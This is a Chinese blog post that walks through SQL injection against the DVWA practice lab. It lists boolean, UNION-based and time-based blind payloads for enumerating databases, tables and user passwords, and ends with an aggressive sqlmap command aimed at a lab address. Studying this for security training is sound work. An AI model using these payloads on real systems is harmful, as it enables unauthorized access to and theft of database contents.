SQL注入
1.sql原理:
网页进行输入程序时使用了sql语句访问数据库,因为未对输入的内容进行筛选操作,所以可以直接通过输入参数来对网页的数据库进行攻击。
2.注入流程:
以DVWA为例子
1.判断是否有注入漏洞
正常输入1
输入'
页面报错,说明有注入点
2. 基于布尔的注入
输入' or 1=1 -- '
3.基于UNION注入
通过注入UNION注入的错误来猜测数据列数
' union select 1 -- '
' union select 1,2 -- '
' union select 1,2,3 -- '
' union select 1,2,3,4 -- '
......
输入' union select 1 -- '
输入 ' union select 1,2 -- '
由此可以看出只有两个字段。
并且UNION注入不仅仅只用来查看字段,也可以由以下代码实现其他操作:
- 获得当前数据库及用户信息:
'union select version(), database() -- '
'union select user(), database() -- '
- 查询所有库名:
'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '
- 查看所库中所有表名:
'union select table_name, 1 from INFORMATION_SCHEMA.tables -- '
- 同时查询表名及对应库名:
'union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- '
- 查询数据列:
'union select NULL, user from users -- ' 'union select NULL, password from users -- '
'union select user, password from users -- ' 'union select NULL, GRANTEE from USER_PRIVILEGES -- '
因为union前面只有两个字段,可以用mysql自带的函数concat()来查询多个字段,如:
'union select password, concat(first_name,' ',last_name,' ',user) from users -- '
4.基于时间的盲注##
有些数据库对错误信息进行了备注,所以无法从上面的注入方法来推测到注入点,此时可以使用基于时间的盲注来进行探测注入点。
输入1' and sleep(10) -- '
此时网页正在处于刷新状态,说明成功了。
5. 自动注入
输入sqlmap -u "http://192.168.112.128/dvwa/vulnerabilities/sqli/?id=444&Submit=Submit#" \ --cookie ="PHPSESSID=q4uip9f73920co3v0qssi5evq4;security=low;showhints=1;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch --level=5 --risk=3
显示正在test中
标签:--,union,select,SQL,SCHEMA,输入,注入 From: https://www.cnblogs.com/wuyiluan/p/16618082.html